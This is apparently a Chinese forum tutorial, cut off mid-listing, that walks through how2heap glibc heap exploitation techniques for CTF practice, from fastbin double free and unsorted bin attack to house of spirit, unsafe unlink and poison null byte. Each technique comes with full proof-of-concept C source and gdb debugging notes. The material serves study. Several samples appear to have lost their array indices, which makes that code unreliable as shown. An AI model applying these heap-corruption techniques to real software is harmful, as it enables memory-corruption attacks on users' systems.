R00tkit 发表于 2023-10-14 12:47

how2heap全集及例题详细解析(1~4部分)

本帖最后由 R00tkit 于 2023-10-15 14:39 编辑


# 第一部分前言

`ptmalloc2` 的管理方式,`chunk` 结构和 `bins` 的模型,在(https://0x434b.dev/overview-of-glibc-heap-exploitation-techniques/),(https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/introduction/) 以及[一些博客](https://blog.csdn.net/Tokameine/article/details/119490052)已经讲解的非常清楚,本文记录自己的学习堆利用的过程。主要更新 `glibc-2.23,2.27,2.31,2.35,2.37` 主流版本和相关例题,`glibc-2.23` 后面更新一些变化和新的利用方式,这里不包含 `IO_FILE` 的内容,`IO_FILE` 会单独做一个专题。建议看完 `glibc` 源码分析后再来看,当然直接看也无所谓。目前比赛的 `glibc` 版本基本都是这几个长期支持版本,期间版本就不写了,另外文中没有标记 `glibc` 版本的就是到目前位置依然适用的方法。我将我的部分文章做了一个合集,入门新手先凑合着看吧。包含一些不太常用的和网上暂没找到的例子。

* 主要
(https://github.com/RoderickChan/pwncli)
(https://github.com/scwuaptx/Pwngdb)
(https://bbs.kanxue.com/thread-276203.htm)

* 我的主要操作环境
wsl-kali。配置参考我的[另一篇文章](https://bbs.kanxue.com/thread-278044.htm)。

docker desktop镜像

ubuntu:16.04

ubuntu:18.04

ubuntu:20.04

ubuntu:22.04

ubuntu:23.04

编译时可以加-g来方便调试。

ida pro 7.7 + gdb调试。

* 我的.gdbinit文件

```python
source ~/pwndbg/gdbinit.py
source ~/peda/peda.py
source ~/Pwngdb/pwngdb.py
source ~/Pwngdb/angelheap/gdbinit.py

define hook-run
python
import angelheap
angelheap.init_angelheap()
end
end

#set context-clear-screen on
#set debug-events off

#source /root/splitmind/gdbinit.py
#python

#sections = "regs"

#mode = input("source/disasm/mixed mode:?(s/d/m)") or "d"

#import splitmind

#spliter = splitmind.Mind()
#spliter.select("main").right(display="regs", size="50%")
#gdb.execute("set context-stack-lines 10")

#legend_on = "code"
#if mode == "d":
#    legend_on = "disasm"
#    sections += " disasm"
#    spliter.select("main").above(display="disasm", size="70%", banner="none")
#    gdb.execute("set context-code-lines 30")

#elif mode == "s":
#    sections += " code"
#    spliter.select("main").above(display="code", size="70%", banner="none")
#    gdb.execute("set context-source-code-lines 30")

#else:
#    sections += " disasm code"
#    spliter.select("main").above(display="code", size="70%")
#    spliter.select("code").below(display="disasm", size="40%")
#    gdb.execute("set context-code-lines 8")
#    gdb.execute("set context-source-code-lines 20")


#sections += " args stack backtrace expressions"
#spliter.show("legend", on=legend_on)
#spliter.show("stack", on="regs")
#spliter.show("backtrace", on="regs")
#spliter.show("args", on="regs")
#spliter.show("expressions", on="args")

#gdb.execute("set context-sections \"%s\"" % sections)
#gdb.execute("set show-retaddr-reg on")

#spliter.build()

#end
```
## 例题
* house_of_spirit
(https://www.52pojie.cn/thread-1819636-1-1.html)
## fastbin_dup_into_stack
### 源码

```cpp
#include <stdio.h>
#include <stdlib.h>

int main()
{
    fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
         "returning a pointer to a controlled location (in this case, the stack).\n");

    unsigned long long stack_var;

    fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);

    fprintf(stderr, "Allocating 3 buffers.\n");
    int *a = malloc(8);
    int *b = malloc(8);
    int *c = malloc(8);

    fprintf(stderr, "1st malloc(8): %p\n", a);
    fprintf(stderr, "2nd malloc(8): %p\n", b);
    fprintf(stderr, "3rd malloc(8): %p\n", c);

    fprintf(stderr, "Freeing the first one...\n");
    free(a);

    fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
    // free(a);

    fprintf(stderr, "So, instead, we'll free %p.\n", b);
    free(b);

    fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
    free(a);

    fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
      "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
    unsigned long long *d = malloc(8);

    fprintf(stderr, "1st malloc(8): %p\n", d);
    fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
    fprintf(stderr, "Now the free list has [ %p ].\n", a);
    fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
      "so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
      "so that malloc will think there is a free chunk there and agree to\n"
      "return a pointer to it.\n", a);
    stack_var = 0x20;

    fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
    *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

    fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
    fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
}

```
### 调试

使用ubuntu:16.04进行编译


使用pwncli改写rpath

在malloc三次后, 0x400743处下断点

查看堆信息,三个fastbin的堆块,f1,f2,f3。

在free(f1),free(f2),free(f1)后,在0x40083B下断点。

查看fastbinY信息。

0x20大小的fastbins链上形成了double free。
再次malloc两次后,设断点在0x40089F

再次查看bins,因为申请两次后,fastbins中剩下f1(0x60300),而0x60300指向0x603020没有改变,0x603020指向0x60300也没变,并且fastbins中的chunk标记为prev_inuse一直为1,所以fastbins中依然保留这个ABA结构。
![](958172_7QJAPUB4DDD2PHB.png)
接下来,查看汇编代码,StackVar值改为0x20,为了放入0x20大小的fastbins,接下来把f1指向了StackVar以上0x8处,也就是prev_size的位置。将StackVar放入了0x20的fastbins中。在0x40092C处下断点。

查看堆信息。

这时候在申请两次便可申请到栈上。

在0x40095c下断点。

可以看到,已经申请到了栈上的值。

## unsorted_bin_attack

`glibc < 2.29`

### 源码

```cpp
#include <stdio.h>
#include <stdlib.h>

int main(){
    fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n");
    fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the "
         "global variable global_max_fast in libc for further fastbin attack\n\n");

    unsigned long stack_var=0;
    fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n");
    fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var);

    unsigned long *p=malloc(400);
    fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",p);
    fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with"
         "the first one during the free()\n\n");
    malloc(500);

    free(p);
    fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer "
         "point to %p\n",(void*)p);

    //------------VULNERABILITY-----------

    p=(unsigned long)(&stack_var-2);
    fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
    fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p);

    //------------------------------------

    malloc(400);
    fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, the target should have already been "
         "rewritten:\n");
    fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
}
```
    使用ubuntu:16.04进行编译,然后使用pwncli改写rpath。
### 调试

首先申请了两个堆块,第一个堆块不属于fastbin大小,先进入unsortedbin中,第二个堆块为了防止第一块堆块与topchunk合并。在free第一个堆块前设置断点。

查看bins和heap信息

free第一个chunk以后,bins和heap信息,unsortedbin里的第一个chunk的fd和bk指向main_arena+0x58的位置。

接下来利用uaf将unsortedbin中的第一个chunk的bk指针(rax存储的指针指向fd,rax+8指向bk,bk指向后加入的chunk)指向StackVar的prev_size位置。

在0x4007D9处下断点,查看heap和bins信息。可以看到,0x602000处的chunk的bk指针被改为了一个栈值,fd指向main_arena+0x58的位置。


再次将unsortedbin中第一个chunk给malloc出来以后,unsortedbin中仅剩StackVar-0x10。

在0x400828下断点。查看heap和bins信息。

可以看到,StackVar的fd指针即用户区域起始处已被修改为main_arena+0x58的值。

## unsorted_bin_into_stack

`glibc < 2.29`

### 源码

```cpp
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <assert.h>

void jackpot(){ printf("Nice jump d00d\n"); exit(0); }

int main() {
    intptr_t stack_buffer = {0};

    printf("Allocating the victim chunk\n");
    intptr_t* victim = malloc(0x100);

    printf("Allocating another chunk to avoid consolidating the top chunk with the small one during the free()\n");
    intptr_t* p1 = malloc(0x100);

    printf("Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
    free(victim);

    printf("Create a fake chunk on the stack");
    printf("Set size for next allocation and the bk pointer to any writable address");
    stack_buffer = 0x100 + 0x10;
    stack_buffer = (intptr_t)stack_buffer;

    //------------VULNERABILITY-----------
    printf("Now emulating a vulnerability that can overwrite the victim->size and victim->bk pointer\n");
    printf("Size should be different from the next request size to return fake_chunk and need to pass the check 2*SIZE_SZ (> 16 on x64) && < av->system_mem\n");
    victim[-1] = 32;
    victim = (intptr_t)stack_buffer; // victim->bk is pointing to stack
    //------------------------------------

    printf("Now next malloc will return the region of our fake chunk: %p\n", &stack_buffer);
    char *p2 = malloc(0x100);
    printf("malloc(0x100): %p\n", p2);

    intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
    memcpy((p2+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary

    assert((long)__builtin_return_address(0) == (long)jackpot);
}
```
    使用ubuntu16.04编译,然后使用pwncli改写rpath。
### 调试

首先申请两个堆块
第一次申请的0x100大小的堆块给了。第二个0x100是阻断topchunk。

接下来free(ptr),把ptr放入unsorted bin中。

在0x4007A7其fd,bk指向main_arena+x58的位置。

这里把var_28位置写为0x110。IDA里这个var_28中的0x28是16进制的偏移。

这里把rax指向ptr-8的位置,特就是size处。然后将其改为0x20。unsorted bin有FIFO特性,下次申请0x100大小不会找到它。然后将ptr+8的位置指向var_30,也就是把ptr的bk指针指向var_0x28+0x8的位置(bk指向后进入unsorted bin的chunk),var_0x28=0x110,也就是伪造的chunk大小,var_30也就是prev_size的位置。

在0x40081C下断点,可见ptr的bk指向栈。

查看0x602410内存可见ptr的size位置被改为了0x20

接下来申请0x100大小的chunk将会去unsorted bin寻找0x110大小的chunk,ptr已被改为0x20大小,所以跳过ptr申请到了栈上伪造的var_30处chunk。

在0x40082B处下断点,可见malloc后,unsorted被整理,0x20大小的ptr放进了small bin。fd和bk都指向main_arena+104处。

申请成功。

## house_of_spirit
### 源码

```cpp
#include <stdio.h>
#include <stdlib.h>

int main()
{
    fprintf(stderr, "This file demonstrates the house of spirit attack.\n");

    fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
    malloc(1);

    fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
    unsigned long long *a;
    // This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
    unsigned long long fake_chunks __attribute__ ((aligned (16)));

    fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks, &fake_chunks);

    fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
    fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
    fake_chunks = 0x40; // this is the size

    fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
      // fake_chunks because 0x40 / sizeof(unsigned long long) = 8
    fake_chunks = 0x1234; // nextsize

    fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks);
    fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
    a = &fake_chunks;

    fprintf(stderr, "Freeing the overwritten pointer.\n");
    free(a);

    fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks, &fake_chunks);
    fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
}

```
    使用ubuntu16.04编译,然后使用pwncli改写rpath。
### 调试

初始化堆。



在0x400703处下断点查看堆结构。


栈中数组结构。`fake_chunks_size = 0x40`,`fake_chunks_next_size = 0x1234`。

将 `a` 指向`fake_chunks_fd`,然后 `free(a)`。

成功将栈地址放入 `fastbins` 中。

那麽此时申请0x30大小的空间会在fastbins中寻找0x40大小的chunk,便可成功申请到栈上。


# 第二部分前言
## 例题
* fast bin attack
例题1:(https://www.52pojie.cn/thread-1817311-1-1.html)
* unsafe unlink
例题2:(https://www.52pojie.cn//thread-1820017-1-1.html)
例题3:(https://www.52pojie.cn/thread-1825577-1-1.html)
## fastbin_dup
### 源码

```cpp
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
    fprintf(stderr, "This file demonstrates a simple double-free attack with fastbins.\n");

    fprintf(stderr, "Allocating 3 buffers.\n");
    int *a = malloc(8);
    int *b = malloc(8);
    int *c = malloc(8);

    fprintf(stderr, "1st malloc(8): %p\n", a);
    fprintf(stderr, "2nd malloc(8): %p\n", b);
    fprintf(stderr, "3rd malloc(8): %p\n", c);

    fprintf(stderr, "Freeing the first one...\n");
    free(a);

    fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
    // free(a);

    fprintf(stderr, "So, instead, we'll free %p.\n", b);
    free(b);

    fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
    free(a);

    fprintf(stderr, "Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
    a = malloc(8);
    b = malloc(8);
    c = malloc(8);
    fprintf(stderr, "1st malloc(8): %p\n", a);
    fprintf(stderr, "2nd malloc(8): %p\n", b);
    fprintf(stderr, "3rd malloc(8): %p\n", c);

    assert(a == c);
}
```
### 调试

使用ubuntu:16.04编译,

然后使用pwncli修改运行环境。

malloc三次相同大小的堆块后,在0x400700下断点。

观察堆结构。

依次释放堆块a,b后,在0x4007CF下断点。

观察fastbin结构。

再次释放a,形成double free后,在0x4007F8下断点。

观察fastbin结构,已经形成ABA结构。

此时依次申请a,b,c三个相应大小的堆块,将会依次摘出a,b,a,
fastbin中a->b->a->b...这条链子会一直存在,不断从头部取出相应大小的堆块。
申请a后,在0x400835下断点(rax保存了_malloc函数的返回值)。

此时fastbin结构,形成了BAB结构。

同样,申请完b后在0x400843下断点。

此时fastbin结构,又形成了ABA结构。

同样申请完c后在0x400851下断点。

此时fastbin结构,再次形成BAB结构。

此时a和c指向同一地址。


## fastbin_dup_consolidate
### 源码

```cpp
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

void main() {
    // reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8
    puts("This is a powerful technique that bypasses the double free check in tcachebin.");
    printf("Fill up the tcache list to force the fastbin usage...\n");

    void* p1 = calloc(1,0x40);

    printf("Allocate another chunk of the same size p1=%p \n", p1);
    printf("Freeing p1 will add this chunk to the fastbin list...\n\n");
    free(p1);

    void* p3 = malloc(0x400);
    printf("Allocating a tcache-sized chunk (p3=%p)\n", p3);
    printf("will trigger the malloc_consolidate and merge\n");
    printf("the fastbin chunks into the top chunk, thus\n");
    printf("p1 and p3 are now pointing to the same chunk !\n\n");

    assert(p1 == p3);

    printf("Triggering the double free vulnerability!\n\n");
    free(p1);

    void *p4 = malloc(0x400);

    assert(p4 == p3);

    printf("The double free added the chunk referenced by p1 \n");
    printf("to the tcache thus the next similar-size malloc will\n");
    printf("point to p3: p3=%p, p4=%p\n\n",p3, p4);
}
```
    使用ubuntu:16.04编译并使用pwncli改写rpath。
### 调试

calloc p1堆块后,在0x4006C5处下断点。

查看堆结构, 可以看到多出来一块0x411大小的堆块。

这个堆块是puts的缓冲区。puts函数用于将字符串输出到标准输出流(stdout),而标准输出流是一个文件流,需要在内存中分配一块缓冲区来存储输出的字符串,下图是其分配过程。


free(p1)后,p1会优先进入fastbins。

再次申请0x400(实际大小为0x410)的chunk。

在gdb里s步入调试,可以看到触发了malloc_consolidate机制。原因如下,因为libc再分配large chunk时,fastbin中有p1这个chunk存在,所以会调用malloc_consolidate()函数整合fastbins中的chunk,并放入unsorted bin或top_chunk;然后unsorted bin中的chunk又会被取出放入各自对应的bins。(这个bins为small bin和large bin。这也是chunk唯一进入small bin和large bin的机会)。

malloc_consolidate()函数执行完以后,因为p1与top_chunk相邻,所以p1被合并到了top_chunk。top_chunk的基址也变成了p1的prev_size的地址。

然后malloc函数会从top_chunk获取chunk,那么p1的地址就已经和p3指向同一块地址了。

此时再次free(p1),在0x40076c处下断点。

由于p1和p3指向同一个大小为0x411的chunk,而这个chunk又和top_chunk相邻,所以会再次被合并到top_chunk。

如果这个时候,我们再次申请一个chunk,在0x40077A处下断点。

那么这个chunk的地址还会与p1 && p3的地址一样。

至此p1,p3,p4指向了同一块chunk。

## unsafe_unlink
### 源码

```cpp
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

uint64_t *chunk0_ptr;

int main()
{
    setbuf(stdout, NULL);
    printf("Welcome to unsafe unlink 2.0!\n");
    printf("Tested in Ubuntu 14.04/16.04 64bit.\n");
    printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
    printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");

    int malloc_size = 0x80; //we want to be big enough not to use fastbins
    int header_size = 2;

    printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");

    chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
    uint64_t *chunk1_ptr= (uint64_t*) malloc(malloc_size); //chunk1
    printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
    printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);

    printf("We create a fake chunk inside chunk0.\n");
    printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
    chunk0_ptr = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
    printf("We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
    printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
    chunk0_ptr = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
    printf("Fake chunk fd: %p\n",(void*) chunk0_ptr);
    printf("Fake chunk bk: %p\n\n",(void*) chunk0_ptr);

    printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
    uint64_t *chunk1_hdr = chunk1_ptr - header_size;
    printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
    printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
    chunk1_hdr = malloc_size;
    printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr);
    printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
    chunk1_hdr &= ~1;

    printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
    printf("You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n");
    free(chunk1_ptr);

    printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
    char victim_string;
    strcpy(victim_string,"Hello!~");
    chunk0_ptr = (uint64_t) victim_string;

    printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
    printf("Original value: %s\n",victim_string);
    chunk0_ptr = 0x4141414142424242LL;
    printf("New Value: %s\n",victim_string);

    // sanity check
    assert(*(long *)victim_string == 0x4141414142424242L);
}
```
当然,其实chunk0_ptr并不一定是一个全局指针。以下代码在glibc2.23依然起作用。

```cpp
#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>

int main(){
    int malloc_size = 0x80;
    uint64_t* ptr0 = (uint64_t*)malloc(malloc_size);
    uint64_t* ptr1 = (uint64_t*)malloc(malloc_size);
    ptr0 = (uint64_t)&ptr0 - 3*sizeof(uint64_t);
    ptr0 = (uint64_t)&ptr0 - 2*sizeof(uint64_t);

    uint64_t* ptr1_head = (uint64_t)ptr1 - 2*sizeof(uint64_t);
    ptr1_head = malloc_size;
    ptr1_head &= ~1;
    free(ptr1);
    char victim = "hello";
    ptr0=(uint64_t)victim;
    ptr0 = 0x4141414141;
    printf("%s\n",victim);
    return 0;

}
```
    使用ubuntu:16.04编译并使用第一个源码pwncli改写rpath。
   简单介绍一下unlink,(https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/unlink/)里有介绍,简单总结如下:
   
    1,首先找到要进行unlink的chunk(这里记为P)的前后堆块,
       FD = P->fd, BK = P->bk。
    2,进行安全检查,glibc2.23的潦草判断条件如下
       FD->bk == P, BK->fd == P。
    3,然后执行FD->bk=BK, BK->fd=FD。
    4,当某个non-fast大小的chunk被释放时,就会根据PREV_INUSE位检查其前后堆块是否处于释放状态,如果是就会将前面或后面的堆块取出并与当前堆块合并。取出前面或后面的堆块P的过程就是unlink。

### 调试

首先申请两块smallbin_chunk。

为了绕过unlink检查,这里将全局的chunk0_ptr+0x10(chunk0_ptr)处的内容改为chunk0_ptr-0x18的地址,注意这里chunk0_ptr指向的是全局变量的地址。

同样,接下来将chunk0_ptr的内容改为chunk0_ptr-0x10的地址。

chunk0_ptr位置在bss节。


此时chunk0的堆结构。可以看到chunk0_ptr指向chunk0_fd(0x603010)的位置。chunk0_fd_nextsize和chunk0_bk_nextsize已被修改为全局变量(bss节)处的地址。

用图来表示如下


接下来cdqe指令将EAX寄存器中的DWORD(32 位值)符号扩展为RAX寄存器中的 QWORD(64 位值)。然后利用shl指令逻辑左移三位,再利用neg指令求补。最后也就是将chunk1_hdr的内容改为chunk1_ptr-2(chunk1_prev_size)的地址。


接下来将chunk1_hdr改为0x80大小,也就是chunk1的prev_size位变为0x80。


然后利用and指令(与运算有零则零)把chunk1_hdr+1也就是chunk1_size的PREV_INUSE位改为0。


现在堆结构如图。因为chunk_prev_size=0x80,所以P_chunk如下


然后把chunk1给free()掉因为其PREV_INUSE为0,又是small bin大小,触发unlink,要将P这个fake chunk摘除。

那么此时FD=P->FD和BK=P->bk,FD->bk == P, BK->fd == P。可以能够看到成功绕过glibc2.23检查。注意,我画的时候是根据布局画的,堆由低向高地址增长(由高向低画),bss由低向高画的。


接下来执行 两步操作 FD->bk=BK, BK->fd=FD。FD和BK只相差0x8字节大小。第一步会把chunk0_ptr指向低0x10字节处(0x602068),第二步把chunk0_ptr指向低0x18字节处(0x602060),最终chunk0_ptr指向了0x602060处。chunk0_ptr = 0x602060,我们向chunk0_ptr写入内容时就会从0x602060开始向高地址写,我们发现,写到高0x18时,写到了我们保存写入地址指针的地址,这个地址(chunk0_ptr的物理地址0x602078)存储的地址(0x602060)就是我们开始写的地址,也就是chunk0_ptr指向的地址。

可以看到,`chunk0_ptr`指向的地址由`*chunk0_ptr-0x18`保存,修改`*chunk0_ptr-0x18`存储的地址(0x602060),也就修改了写入的起始地址,也就是chunk0_ptr指向的地址,我们会从这个新地址重新开始写,也就达到了任意地址写的效果。这只是其中一种用法,建议看例题来加深理解。

我们也可以通过从0x602060开始向高地址覆盖,覆盖到0x602078处时,修改这里保存的地址,然后下次写时就会从修改的这个新地址开始写入。

# 第三部分前言
## 例题
* off-by-one
(https://www.52pojie.cn/thread-1825637-1-1.html)
(https://www.52pojie.cn/thread-1828172-1-1.html)
(https://www.52pojie.cn/thread-1828388-1-1.html)

(https://www.52pojie.cn/thread-1836790-1-1.html)

* overlapping chunk
(https://www.52pojie.cn/thread-1833414-1-1.html)
(https://www.52pojie.cn/thread-1833578-1-1.html)

## poison_null_byte
### 源码
```cpp
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>


int main()
{
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    printf("Welcome to poison null byte 2.0!\n");
    printf("Tested in Ubuntu 16.04 64bit.\n");
    printf("This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\n");
    printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");

    uint8_t* a;
    uint8_t* b;
    uint8_t* c;
    uint8_t* b1;
    uint8_t* b2;
    uint8_t* d;
    void *barrier;

    printf("We allocate 0x100 bytes for 'a'.\n");
    a = (uint8_t*) malloc(0x100);
    printf("a: %p\n", a);
    int real_a_size = malloc_usable_size(a);
    printf("Since we want to overflow 'a', we need to know the 'real' size of 'a' "
      "(it may be more than 0x100 because of rounding): %#x\n", real_a_size);

    /* chunk size attribute cannot have a least significant byte with a value of 0x00.
   * the least significant byte of this will be 0x10, because the size of the chunk includes
   * the amount requested plus some amount required for the metadata. */
    b = (uint8_t*) malloc(0x200);

    printf("b: %p\n", b);

    c = (uint8_t*) malloc(0x100);
    printf("c: %p\n", c);

    barrier =malloc(0x100);
    printf("We allocate a barrier at %p, so that c is not consolidated with the top-chunk when freed.\n"
      "The barrier is not strictly necessary, but makes things less confusing\n", barrier);

    uint64_t* b_size_ptr = (uint64_t*)(b - 8);

    // added fix for size==prev_size(next_chunk) check in newer versions of glibc
    // https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30
    // this added check requires we are allowed to have null pointers in b (not just a c string)
    //*(size_t*)(b+0x1f0) = 0x200;
    printf("In newer versions of glibc we will need to have our updated size inside b itself to pass "
      "the check 'chunksize(P) != prev_size (next_chunk(P))'\n");
    // we set this location to 0x200 since 0x200 == (0x211 & 0xff00)
    // which is the value of b.size after its first byte has been overwritten with a NULL byte
    *(size_t*)(b+0x1f0) = 0x200;

    // this technique works by overwriting the size metadata of a free chunk
    free(b);

    printf("b.size: %#lx\n", *b_size_ptr);
    printf("b.size is: (0x200 + 0x10) | prev_in_use\n");
    printf("We overflow 'a' with a single null byte into the metadata of 'b'\n");
    a = 0; // <--- THIS IS THE "EXPLOITED BUG"
    printf("b.size: %#lx\n", *b_size_ptr);

    uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;
    printf("c.prev_size is %#lx\n",*c_prev_size_ptr);

    // This malloc will result in a call to unlink on the chunk where b was.
    // The added check (commit id: 17f487b), if not properly handled as we did before,
    // will detect the heap corruption now.
    // The check is this: chunksize(P) != prev_size (next_chunk(P)) where
    // P == b-0x10, chunksize(P) == *(b-0x10+0x8) == 0x200 (was 0x210 before the overflow)
    // next_chunk(P) == b-0x10+0x200 == b+0x1f0
    // prev_size (next_chunk(P)) == *(b+0x1f0) == 0x200
    printf("We will pass the check since chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n",
      *((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
    b1 = malloc(0x100);

    printf("b1: %p\n",b1);
    printf("Now we malloc 'b1'. It will be placed where 'b' was. "
      "At this point c.prev_size should have been updated, but it was not: %#lx\n",*c_prev_size_ptr);
    printf("Interestingly, the updated value of c.prev_size has been written 0x10 bytes "
      "before c.prev_size: %lx\n",*(((uint64_t*)c)-4));
    printf("We malloc 'b2', our 'victim' chunk.\n");
    // Typically b2 (the victim) will be a structure with valuable pointers that we want to control

    b2 = malloc(0x80);
    printf("b2: %p\n",b2);

    memset(b2,'B',0x80);
    printf("Current b2 content:\n%s\n",b2);

    printf("Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n");

    free(b1);
    free(c);

    printf("Finally, we allocate 'd', overlapping 'b2'.\n");
    d = malloc(0x300);
    printf("d: %p\n",d);

    printf("Now 'd' and 'b2' overlap.\n");
    memset(d,'D',0x300);

    printf("New b2 content:\n%s\n",b2);

    printf("Thanks to https://www.contextis.com/resources/white-papers/glibc-adventures-the-forgotten-chunks"
      "for the clear explanation of this technique.\n");

    assert(strstr(b2, "DDDDDDDDDDDD"));
}

```
使用`glibc2.23`加参数`-g`编译并修改`rpath`。
### 调试

申请了四个堆块,a(0x111),b(0x211),c(0x111),barrier(0x111)。

因为我们要利用`off-by-null`把`chunkb`的`size`改为`0x200`,又因为是`chunkb`是`non-fast chunk`,将`b+0x1f0`的位置写为`0x200`绕过检查。

接下来`free(b)`后,假设`a`存在`off-by-null`漏洞,将`chunkb`改为了`0x200`大小。


然后申请两个堆块`b1_real_size : 0x110`,`b2_real_size : 0x90`,然后`free(b1)`来绕过`unlink`检查,再`free(c)`后,会向上寻找`0x210`大小的堆块,发现`b1`是一个已经释放的`chunk`,便会合并,此时我们再去申请`real_size == 0x110+0x210`的堆块时,便控制了中间所有的`chunk`。

## overlapping_chunks_1

`glibc < 2.29`

### 源码
```cpp
/*

A simple tale of overlapping chunk.
This technique is taken from
http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

int main(int argc , char* argv[]){


    intptr_t *p1,*p2,*p3,*p4;

    fprintf(stderr, "\nThis is a simple chunks overlapping problem\n\n");
    fprintf(stderr, "Let's start to allocate 3 chunks on the heap\n");

    p1 = malloc(0x100 - 8);
    p2 = malloc(0x100 - 8);
    p3 = malloc(0x80 - 8);

